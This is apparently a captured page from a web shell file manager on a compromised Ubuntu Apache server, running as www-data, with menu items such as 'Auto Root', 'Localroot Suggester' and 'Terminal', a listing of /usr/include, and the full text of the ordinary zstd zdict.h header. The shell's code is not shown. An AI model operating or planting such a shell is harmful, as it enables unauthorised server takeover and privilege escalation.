Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
include /
Delete
Unzip
Name
Size
Permission
Date
Action
X11
[ DIR ]
drwxr-xr-x
2022-03-25 18:58
arpa
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
asm-generic
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
c++
[ DIR ]
drwxr-xr-x
2024-08-21 10:56
drm
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
finclude
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
iproute2
[ DIR ]
drwxr-xr-x
2026-05-02 01:32
libdmmp
[ DIR ]
drwxr-xr-x
2024-02-17 03:53
libexslt
[ DIR ]
drwxr-xr-x
2026-01-09 06:52
libxml2
[ DIR ]
drwxr-xr-x
2025-02-27 13:31
libxslt
[ DIR ]
drwxr-xr-x
2026-01-09 06:52
linux
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
misc
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
mtd
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
mysql
[ DIR ]
drwxr-xr-x
2026-06-23 06:14
net
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netash
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netatalk
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netax25
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
neteconet
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netinet
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netipx
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netiucv
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netpacket
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netrom
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
netrose
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
nfs
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
node
[ DIR ]
drwxr-xr-x
2025-12-31 20:37
openssl
[ DIR ]
drwxr-xr-x
2026-06-11 06:23
protocols
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
python3.10
[ DIR ]
drwxr-xr-x
2026-07-07 06:44
rdma
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
rpc
[ DIR ]
drwxr-xr-x
2026-02-05 06:15
rpcsvc
[ DIR ]
drwxr-xr-x
2024-08-21 10:49
scsi
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
sound
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
tirpc
[ DIR ]
drwxr-xr-x
2024-08-21 10:49
unicode
[ DIR ]
drwxr-xr-x
2025-02-27 13:31
video
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
x86_64-linux-gnu
[ DIR ]
drwxr-xr-x
2026-02-12 06:27
xen
[ DIR ]
drwxr-xr-x
2026-07-21 06:37
xfs
[ DIR ]
drwxr-xr-x
2022-02-09 13:42
aio.h
7.56
KB
-rw-r--r--
2026-01-30 17:20
aliases.h
1.98
KB
-rw-r--r--
2026-01-30 17:20
alloca.h
1.17
KB
-rw-r--r--
2026-01-30 17:20
ar.h
1.69
KB
-rw-r--r--
2026-01-30 17:20
argp.h
24.95
KB
-rw-r--r--
2026-01-30 17:20
argz.h
5.91
KB
-rw-r--r--
2026-01-30 17:20
assert.h
4.53
KB
-rw-r--r--
2026-01-30 17:20
byteswap.h
1.42
KB
-rw-r--r--
2026-01-30 17:20
clif.h
4.44
KB
-rw-r--r--
2016-08-30 00:45
complex.h
7.95
KB
-rw-r--r--
2026-01-30 17:20
cpio.h
2.21
KB
-rw-r--r--
2026-01-30 17:20
crypt.h
10.87
KB
-rw-r--r--
2021-12-18 07:48
ctype.h
10.71
KB
-rw-r--r--
2026-01-30 17:20
dirent.h
12.22
KB
-rw-r--r--
2026-01-30 17:20
dlfcn.h
8.17
KB
-rw-r--r--
2026-01-30 17:20
elf.h
179.98
KB
-rw-r--r--
2026-01-30 17:20
endian.h
2.25
KB
-rw-r--r--
2026-01-30 17:20
envz.h
2.8
KB
-rw-r--r--
2026-01-30 17:20
err.h
2.29
KB
-rw-r--r--
2026-01-30 17:20
errno.h
1.64
KB
-rw-r--r--
2026-01-30 17:20
error.h
2.36
KB
-rw-r--r--
2026-01-30 17:20
execinfo.h
1.49
KB
-rw-r--r--
2026-01-30 17:20
expat.h
42.68
KB
-rw-r--r--
2026-02-05 00:24
expat_external.h
5.89
KB
-rw-r--r--
2026-02-05 00:24
fcntl.h
9.89
KB
-rw-r--r--
2026-01-30 17:20
features-time64.h
1.38
KB
-rw-r--r--
2026-01-30 17:20
features.h
17.44
KB
-rw-r--r--
2026-01-30 17:20
fenv.h
5.65
KB
-rw-r--r--
2026-01-30 17:20
fmtmsg.h
3.16
KB
-rw-r--r--
2026-01-30 17:20
fnmatch.h
2.24
KB
-rw-r--r--
2026-01-30 17:20
fstab.h
3.04
KB
-rw-r--r--
2026-01-30 17:20
fts.h
9.35
KB
-rw-r--r--
2026-01-30 17:20
ftw.h
6.19
KB
-rw-r--r--
2026-01-30 17:20
gawkapi.h
39.69
KB
-rw-r--r--
2023-08-17 19:24
gconv.h
4.11
KB
-rw-r--r--
2026-01-30 17:20
getopt.h
1.43
KB
-rw-r--r--
2026-01-30 17:20
glob.h
7.13
KB
-rw-r--r--
2026-01-30 17:20
gnu-versions.h
2.29
KB
-rw-r--r--
2026-01-30 17:20
gnumake.h
2.84
KB
-rw-r--r--
2022-02-16 00:32
grp.h
6.53
KB
-rw-r--r--
2026-01-30 17:20
gshadow.h
4.42
KB
-rw-r--r--
2026-01-30 17:20
iconv.h
1.81
KB
-rw-r--r--
2026-01-30 17:20
ifaddrs.h
2.77
KB
-rw-r--r--
2026-01-30 17:20
inttypes.h
8.14
KB
-rw-r--r--
2026-01-30 17:20
langinfo.h
17.43
KB
-rw-r--r--
2026-01-30 17:20
lastlog.h
126
B
-rw-r--r--
2026-01-30 17:20
libgen.h
1.35
KB
-rw-r--r--
2026-01-30 17:20
libintl.h
4.47
KB
-rw-r--r--
2026-01-30 17:20
limits.h
5.57
KB
-rw-r--r--
2026-01-30 17:20
link.h
7.62
KB
-rw-r--r--
2026-01-30 17:20
locale.h
7.5
KB
-rw-r--r--
2026-01-30 17:20
malloc.h
5.84
KB
-rw-r--r--
2026-01-30 17:20
math.h
48.7
KB
-rw-r--r--
2026-01-30 17:20
mcheck.h
2.38
KB
-rw-r--r--
2026-01-30 17:20
memory.h
956
B
-rw-r--r--
2026-01-30 17:20
mntent.h
3.28
KB
-rw-r--r--
2026-01-30 17:20
monetary.h
1.92
KB
-rw-r--r--
2026-01-30 17:20
mpath_cmd.h
4.06
KB
-rw-r--r--
2023-11-01 07:21
mpath_persist.h
11.22
KB
-rw-r--r--
2023-11-01 07:21
mqueue.h
4.5
KB
-rw-r--r--
2026-01-30 17:20
netdb.h
27.79
KB
-rw-r--r--
2026-01-30 17:20
nl_types.h
1.71
KB
-rw-r--r--
2026-01-30 17:20
nss.h
14.07
KB
-rw-r--r--
2026-01-30 17:20
obstack.h
20.81
KB
-rw-r--r--
2026-01-30 17:20
paths.h
2.91
KB
-rw-r--r--
2026-01-30 17:20
poll.h
22
B
-rw-r--r--
2026-01-30 17:20
printf.h
6.71
KB
-rw-r--r--
2026-01-30 17:20
proc_service.h
3.4
KB
-rw-r--r--
2026-01-30 17:20
pthread.h
47.24
KB
-rw-r--r--
2026-01-30 17:20
pty.h
1.53
KB
-rw-r--r--
2026-01-30 17:20
pwd.h
6.17
KB
-rw-r--r--
2026-01-30 17:20
re_comp.h
963
B
-rw-r--r--
2026-01-30 17:20
regex.h
25.3
KB
-rw-r--r--
2026-01-30 17:20
regexp.h
1.35
KB
-rw-r--r--
2026-01-30 17:20
resolv.h
11.96
KB
-rw-r--r--
2026-01-30 17:20
sched.h
4.92
KB
-rw-r--r--
2026-01-30 17:20
search.h
5.32
KB
-rw-r--r--
2026-01-30 17:20
seccomp-syscalls.h
49.09
KB
-rw-r--r--
2024-10-24 00:44
seccomp.h
24.93
KB
-rw-r--r--
2024-10-24 00:44
semaphore.h
3.38
KB
-rw-r--r--
2026-01-30 17:20
setjmp.h
3.12
KB
-rw-r--r--
2026-01-30 17:20
sgtty.h
1.31
KB
-rw-r--r--
2026-01-30 17:20
shadow.h
5.34
KB
-rw-r--r--
2026-01-30 17:20
signal.h
12.73
KB
-rw-r--r--
2026-01-30 17:20
spawn.h
8.08
KB
-rw-r--r--
2026-01-30 17:20
stab.h
264
B
-rw-r--r--
2026-01-30 17:20
stdc-predef.h
2.4
KB
-rw-r--r--
2026-01-30 17:20
stdint.h
8.28
KB
-rw-r--r--
2026-01-30 17:20
stdio.h
30.45
KB
-rw-r--r--
2026-01-30 17:20
stdio_ext.h
2.73
KB
-rw-r--r--
2026-01-30 17:20
stdlib.h
35.54
KB
-rw-r--r--
2026-01-30 17:20
string.h
19
KB
-rw-r--r--
2026-01-30 17:20
strings.h
4.64
KB
-rw-r--r--
2026-01-30 17:20
sudo_plugin.h
11.64
KB
-rw-r--r--
2026-03-02 22:08
syscall.h
25
B
-rw-r--r--
2026-01-30 17:20
sysexits.h
5.11
KB
-rw-r--r--
2026-01-30 17:20
syslog.h
24
B
-rw-r--r--
2026-01-30 17:20
tar.h
3.66
KB
-rw-r--r--
2026-01-30 17:20
termio.h
214
B
-rw-r--r--
2026-01-30 17:20
termios.h
3.51
KB
-rw-r--r--
2026-01-30 17:20
tgmath.h
43.61
KB
-rw-r--r--
2026-01-30 17:20
thread_db.h
15.65
KB
-rw-r--r--
2026-01-30 17:20
threads.h
7.51
KB
-rw-r--r--
2026-01-30 17:20
time.h
14.49
KB
-rw-r--r--
2026-01-30 17:20
ttyent.h
2.44
KB
-rw-r--r--
2026-01-30 17:20
uchar.h
1.96
KB
-rw-r--r--
2026-01-30 17:20
ucontext.h
1.99
KB
-rw-r--r--
2026-01-30 17:20
ulimit.h
1.55
KB
-rw-r--r--
2026-01-30 17:20
unistd.h
43.91
KB
-rw-r--r--
2026-01-30 17:20
utime.h
1.86
KB
-rw-r--r--
2026-01-30 17:20
utmp.h
3.15
KB
-rw-r--r--
2026-01-30 17:20
utmpx.h
4
KB
-rw-r--r--
2026-01-30 17:20
values.h
1.91
KB
-rw-r--r--
2026-01-30 17:20
wait.h
22
B
-rw-r--r--
2026-01-30 17:20
wchar.h
31.05
KB
-rw-r--r--
2026-01-30 17:20
wctype.h
5.42
KB
-rw-r--r--
2026-01-30 17:20
wordexp.h
2.44
KB
-rw-r--r--
2026-01-30 17:20
zconf.h
15.88
KB
-rw-r--r--
2022-10-15 06:33
zdict.h
18.02
KB
-rw-r--r--
2022-03-25 01:15
zlib.h
94
KB
-rw-r--r--
2022-10-15 06:33
zstd.h
135.09
KB
-rw-r--r--
2022-03-25 01:15
zstd_errors.h
3.74
KB
-rw-r--r--
2022-03-25 01:15
Save
Rename
/* * Copyright (c) 2016-2020, Yann Collet, Facebook, Inc. * All rights reserved. * * This source code is licensed under both the BSD-style license (found in the * LICENSE file in the root directory of this source tree) and the GPLv2 (found * in the COPYING file in the root directory of this source tree). * You may select, at your option, one of the above-listed licenses. */ #ifndef DICTBUILDER_H_001 #define DICTBUILDER_H_001 #if defined (__cplusplus) extern "C" { #endif /*====== Dependencies ======*/ #include <stddef.h> /* size_t */ /* ===== ZDICTLIB_API : control library symbols visibility ===== */ #ifndef ZDICTLIB_VISIBILITY # if defined(__GNUC__) && (__GNUC__ >= 4) # define ZDICTLIB_VISIBILITY __attribute__ ((visibility ("default"))) # else # define ZDICTLIB_VISIBILITY # endif #endif #if defined(ZSTD_DLL_EXPORT) && (ZSTD_DLL_EXPORT==1) # define ZDICTLIB_API __declspec(dllexport) ZDICTLIB_VISIBILITY #elif defined(ZSTD_DLL_IMPORT) && (ZSTD_DLL_IMPORT==1) # define ZDICTLIB_API __declspec(dllimport) ZDICTLIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/ #else # define ZDICTLIB_API ZDICTLIB_VISIBILITY #endif /*! ZDICT_trainFromBuffer(): * Train a dictionary from an array of samples. * Redirect towards ZDICT_optimizeTrainFromBuffer_fastCover() single-threaded, with d=8, steps=4, * f=20, and accel=1. * Samples must be stored concatenated in a single flat buffer `samplesBuffer`, * supplied with an array of sizes `samplesSizes`, providing the size of each sample, in order. * The resulting dictionary will be saved into `dictBuffer`. * @return: size of dictionary stored into `dictBuffer` (<= `dictBufferCapacity`) * or an error code, which can be tested with ZDICT_isError(). * Note: Dictionary training will fail if there are not enough samples to construct a * dictionary, or if most of the samples are too small (< 8 bytes being the lower limit). * If dictionary training fails, you should use zstd without a dictionary, as the dictionary * would've been ineffective anyways. If you believe your samples would benefit from a dictionary * please open an issue with details, and we can look into it. * Note: ZDICT_trainFromBuffer()'s memory usage is about 6 MB. * Tips: In general, a reasonable dictionary has a size of ~ 100 KB. * It's possible to select smaller or larger size, just by specifying `dictBufferCapacity`. * In general, it's recommended to provide a few thousands samples, though this can vary a lot. * It's recommended that total size of all samples be about ~x100 times the target size of dictionary. */ ZDICTLIB_API size_t ZDICT_trainFromBuffer(void* dictBuffer, size_t dictBufferCapacity, const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples); typedef struct { int compressionLevel; /*< optimize for a specific zstd compression level; 0 means default */ unsigned notificationLevel; /*< Write log to stderr; 0 = none (default); 1 = errors; 2 = progression; 3 = details; 4 = debug; */ unsigned dictID; /*< force dictID value; 0 means auto mode (32-bits random value) */ } ZDICT_params_t; /*! ZDICT_finalizeDictionary(): * Given a custom content as a basis for dictionary, and a set of samples, * finalize dictionary by adding headers and statistics according to the zstd * dictionary format. * * Samples must be stored concatenated in a flat buffer `samplesBuffer`, * supplied with an array of sizes `samplesSizes`, providing the size of each * sample in order. The samples are used to construct the statistics, so they * should be representative of what you will compress with this dictionary. * * The compression level can be set in `parameters`. You should pass the * compression level you expect to use in production. The statistics for each * compression level differ, so tuning the dictionary for the compression level * can help quite a bit. * * You can set an explicit dictionary ID in `parameters`, or allow us to pick * a random dictionary ID for you, but we can't guarantee no collisions. * * The dstDictBuffer and the dictContent may overlap, and the content will be * appended to the end of the header. If the header + the content doesn't fit in * maxDictSize the beginning of the content is truncated to make room, since it * is presumed that the most profitable content is at the end of the dictionary, * since that is the cheapest to reference. * * `dictContentSize` must be >= ZDICT_CONTENTSIZE_MIN bytes. * `maxDictSize` must be >= max(dictContentSize, ZSTD_DICTSIZE_MIN). * * @return: size of dictionary stored into `dstDictBuffer` (<= `maxDictSize`), * or an error code, which can be tested by ZDICT_isError(). * Note: ZDICT_finalizeDictionary() will push notifications into stderr if * instructed to, using notificationLevel>0. * NOTE: This function currently may fail in several edge cases including: * * Not enough samples * * Samples are uncompressible * * Samples are all exactly the same */ ZDICTLIB_API size_t ZDICT_finalizeDictionary(void* dstDictBuffer, size_t maxDictSize, const void* dictContent, size_t dictContentSize, const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples, ZDICT_params_t parameters); /*====== Helper functions ======*/ ZDICTLIB_API unsigned ZDICT_getDictID(const void* dictBuffer, size_t dictSize); /**< extracts dictID; @return zero if error (not a valid dictionary) */ ZDICTLIB_API size_t ZDICT_getDictHeaderSize(const void* dictBuffer, size_t dictSize); /* returns dict header size; returns a ZSTD error code on failure */ ZDICTLIB_API unsigned ZDICT_isError(size_t errorCode); ZDICTLIB_API const char* ZDICT_getErrorName(size_t errorCode); #ifdef ZDICT_STATIC_LINKING_ONLY /* ==================================================================================== * The definitions in this section are considered experimental. * They should never be used with a dynamic library, as they may change in the future. * They are provided for advanced usages. * Use them only in association with static linking. * ==================================================================================== */ #define ZDICT_CONTENTSIZE_MIN 128 #define ZDICT_DICTSIZE_MIN 256 /*! ZDICT_cover_params_t: * k and d are the only required parameters. * For others, value 0 means default. */ typedef struct { unsigned k; /* Segment size : constraint: 0 < k : Reasonable range [16, 2048+] */ unsigned d; /* dmer size : constraint: 0 < d <= k : Reasonable range [6, 16] */ unsigned steps; /* Number of steps : Only used for optimization : 0 means default (40) : Higher means more parameters checked */ unsigned nbThreads; /* Number of threads : constraint: 0 < nbThreads : 1 means single-threaded : Only used for optimization : Ignored if ZSTD_MULTITHREAD is not defined */ double splitPoint; /* Percentage of samples used for training: Only used for optimization : the first nbSamples * splitPoint samples will be used to training, the last nbSamples * (1 - splitPoint) samples will be used for testing, 0 means default (1.0), 1.0 when all samples are used for both training and testing */ unsigned shrinkDict; /* Train dictionaries to shrink in size starting from the minimum size and selects the smallest dictionary that is shrinkDictMaxRegression% worse than the largest dictionary. 0 means no shrinking and 1 means shrinking */ unsigned shrinkDictMaxRegression; /* Sets shrinkDictMaxRegression so that a smaller dictionary can be at worse shrinkDictMaxRegression% worse than the max dict size dictionary. */ ZDICT_params_t zParams; } ZDICT_cover_params_t; typedef struct { unsigned k; /* Segment size : constraint: 0 < k : Reasonable range [16, 2048+] */ unsigned d; /* dmer size : constraint: 0 < d <= k : Reasonable range [6, 16] */ unsigned f; /* log of size of frequency array : constraint: 0 < f <= 31 : 1 means default(20)*/ unsigned steps; /* Number of steps : Only used for optimization : 0 means default (40) : Higher means more parameters checked */ unsigned nbThreads; /* Number of threads : constraint: 0 < nbThreads : 1 means single-threaded : Only used for optimization : Ignored if ZSTD_MULTITHREAD is not defined */ double splitPoint; /* Percentage of samples used for training: Only used for optimization : the first nbSamples * splitPoint samples will be used to training, the last nbSamples * (1 - splitPoint) samples will be used for testing, 0 means default (0.75), 1.0 when all samples are used for both training and testing */ unsigned accel; /* Acceleration level: constraint: 0 < accel <= 10, higher means faster and less accurate, 0 means default(1) */ unsigned shrinkDict; /* Train dictionaries to shrink in size starting from the minimum size and selects the smallest dictionary that is shrinkDictMaxRegression% worse than the largest dictionary. 0 means no shrinking and 1 means shrinking */ unsigned shrinkDictMaxRegression; /* Sets shrinkDictMaxRegression so that a smaller dictionary can be at worse shrinkDictMaxRegression% worse than the max dict size dictionary. */ ZDICT_params_t zParams; } ZDICT_fastCover_params_t; /*! ZDICT_trainFromBuffer_cover(): * Train a dictionary from an array of samples using the COVER algorithm. * Samples must be stored concatenated in a single flat buffer `samplesBuffer`, * supplied with an array of sizes `samplesSizes`, providing the size of each sample, in order. * The resulting dictionary will be saved into `dictBuffer`. * @return: size of dictionary stored into `dictBuffer` (<= `dictBufferCapacity`) * or an error code, which can be tested with ZDICT_isError(). * See ZDICT_trainFromBuffer() for details on failure modes. * Note: ZDICT_trainFromBuffer_cover() requires about 9 bytes of memory for each input byte. * Tips: In general, a reasonable dictionary has a size of ~ 100 KB. * It's possible to select smaller or larger size, just by specifying `dictBufferCapacity`. * In general, it's recommended to provide a few thousands samples, though this can vary a lot. * It's recommended that total size of all samples be about ~x100 times the target size of dictionary. */ ZDICTLIB_API size_t ZDICT_trainFromBuffer_cover( void *dictBuffer, size_t dictBufferCapacity, const void *samplesBuffer, const size_t *samplesSizes, unsigned nbSamples, ZDICT_cover_params_t parameters); /*! ZDICT_optimizeTrainFromBuffer_cover(): * The same requirements as above hold for all the parameters except `parameters`. * This function tries many parameter combinations and picks the best parameters. * `*parameters` is filled with the best parameters found, * dictionary constructed with those parameters is stored in `dictBuffer`. * * All of the parameters d, k, steps are optional. * If d is non-zero then we don't check multiple values of d, otherwise we check d = {6, 8}. * if steps is zero it defaults to its default value. * If k is non-zero then we don't check multiple values of k, otherwise we check steps values in [50, 2000]. * * @return: size of dictionary stored into `dictBuffer` (<= `dictBufferCapacity`) * or an error code, which can be tested with ZDICT_isError(). * On success `*parameters` contains the parameters selected. * See ZDICT_trainFromBuffer() for details on failure modes. * Note: ZDICT_optimizeTrainFromBuffer_cover() requires about 8 bytes of memory for each input byte and additionally another 5 bytes of memory for each byte of memory for each thread. */ ZDICTLIB_API size_t ZDICT_optimizeTrainFromBuffer_cover( void* dictBuffer, size_t dictBufferCapacity, const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples, ZDICT_cover_params_t* parameters); /*! ZDICT_trainFromBuffer_fastCover(): * Train a dictionary from an array of samples using a modified version of COVER algorithm. * Samples must be stored concatenated in a single flat buffer `samplesBuffer`, * supplied with an array of sizes `samplesSizes`, providing the size of each sample, in order. * d and k are required. * All other parameters are optional, will use default values if not provided * The resulting dictionary will be saved into `dictBuffer`. * @return: size of dictionary stored into `dictBuffer` (<= `dictBufferCapacity`) * or an error code, which can be tested with ZDICT_isError(). * See ZDICT_trainFromBuffer() for details on failure modes. * Note: ZDICT_trainFromBuffer_fastCover() requires 6 * 2^f bytes of memory. * Tips: In general, a reasonable dictionary has a size of ~ 100 KB. * It's possible to select smaller or larger size, just by specifying `dictBufferCapacity`. * In general, it's recommended to provide a few thousands samples, though this can vary a lot. * It's recommended that total size of all samples be about ~x100 times the target size of dictionary. */ ZDICTLIB_API size_t ZDICT_trainFromBuffer_fastCover(void *dictBuffer, size_t dictBufferCapacity, const void *samplesBuffer, const size_t *samplesSizes, unsigned nbSamples, ZDICT_fastCover_params_t parameters); /*! ZDICT_optimizeTrainFromBuffer_fastCover(): * The same requirements as above hold for all the parameters except `parameters`. * This function tries many parameter combinations (specifically, k and d combinations) * and picks the best parameters. `*parameters` is filled with the best parameters found, * dictionary constructed with those parameters is stored in `dictBuffer`. * All of the parameters d, k, steps, f, and accel are optional. * If d is non-zero then we don't check multiple values of d, otherwise we check d = {6, 8}. * if steps is zero it defaults to its default value. * If k is non-zero then we don't check multiple values of k, otherwise we check steps values in [50, 2000]. * If f is zero, default value of 20 is used. * If accel is zero, default value of 1 is used. * * @return: size of dictionary stored into `dictBuffer` (<= `dictBufferCapacity`) * or an error code, which can be tested with ZDICT_isError(). * On success `*parameters` contains the parameters selected. * See ZDICT_trainFromBuffer() for details on failure modes. * Note: ZDICT_optimizeTrainFromBuffer_fastCover() requires about 6 * 2^f bytes of memory for each thread. */ ZDICTLIB_API size_t ZDICT_optimizeTrainFromBuffer_fastCover(void* dictBuffer, size_t dictBufferCapacity, const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples, ZDICT_fastCover_params_t* parameters); typedef struct { unsigned selectivityLevel; /* 0 means default; larger => select more => larger dictionary */ ZDICT_params_t zParams; } ZDICT_legacy_params_t; /*! ZDICT_trainFromBuffer_legacy(): * Train a dictionary from an array of samples. * Samples must be stored concatenated in a single flat buffer `samplesBuffer`, * supplied with an array of sizes `samplesSizes`, providing the size of each sample, in order. * The resulting dictionary will be saved into `dictBuffer`. * `parameters` is optional and can be provided with values set to 0 to mean "default". * @return: size of dictionary stored into `dictBuffer` (<= `dictBufferCapacity`) * or an error code, which can be tested with ZDICT_isError(). * See ZDICT_trainFromBuffer() for details on failure modes. * Tips: In general, a reasonable dictionary has a size of ~ 100 KB. * It's possible to select smaller or larger size, just by specifying `dictBufferCapacity`. * In general, it's recommended to provide a few thousands samples, though this can vary a lot. * It's recommended that total size of all samples be about ~x100 times the target size of dictionary. * Note: ZDICT_trainFromBuffer_legacy() will send notifications into stderr if instructed to, using notificationLevel>0. */ ZDICTLIB_API size_t ZDICT_trainFromBuffer_legacy( void *dictBuffer, size_t dictBufferCapacity, const void *samplesBuffer, const size_t *samplesSizes, unsigned nbSamples, ZDICT_legacy_params_t parameters); /* Deprecation warnings */ /* It is generally possible to disable deprecation warnings from compiler, for example with -Wno-deprecated-declarations for gcc or _CRT_SECURE_NO_WARNINGS in Visual. Otherwise, it's also possible to manually define ZDICT_DISABLE_DEPRECATE_WARNINGS */ #ifdef ZDICT_DISABLE_DEPRECATE_WARNINGS # define ZDICT_DEPRECATED(message) ZDICTLIB_API /* disable deprecation warnings */ #else # define ZDICT_GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__) # if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */ # define ZDICT_DEPRECATED(message) [[deprecated(message)]] ZDICTLIB_API # elif defined(__clang__) || (ZDICT_GCC_VERSION >= 405) # define ZDICT_DEPRECATED(message) ZDICTLIB_API __attribute__((deprecated(message))) # elif (ZDICT_GCC_VERSION >= 301) # define ZDICT_DEPRECATED(message) ZDICTLIB_API __attribute__((deprecated)) # elif defined(_MSC_VER) # define ZDICT_DEPRECATED(message) ZDICTLIB_API __declspec(deprecated(message)) # else # pragma message("WARNING: You need to implement ZDICT_DEPRECATED for this compiler") # define ZDICT_DEPRECATED(message) ZDICTLIB_API # endif #endif /* ZDICT_DISABLE_DEPRECATE_WARNINGS */ ZDICT_DEPRECATED("use ZDICT_finalizeDictionary() instead") size_t ZDICT_addEntropyTablesFromBuffer(void* dictBuffer, size_t dictContentSize, size_t dictBufferCapacity, const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples); #endif /* ZDICT_STATIC_LINKING_ONLY */ #if defined (__cplusplus) } #endif #endif /* DICTBUILDER_H_001 */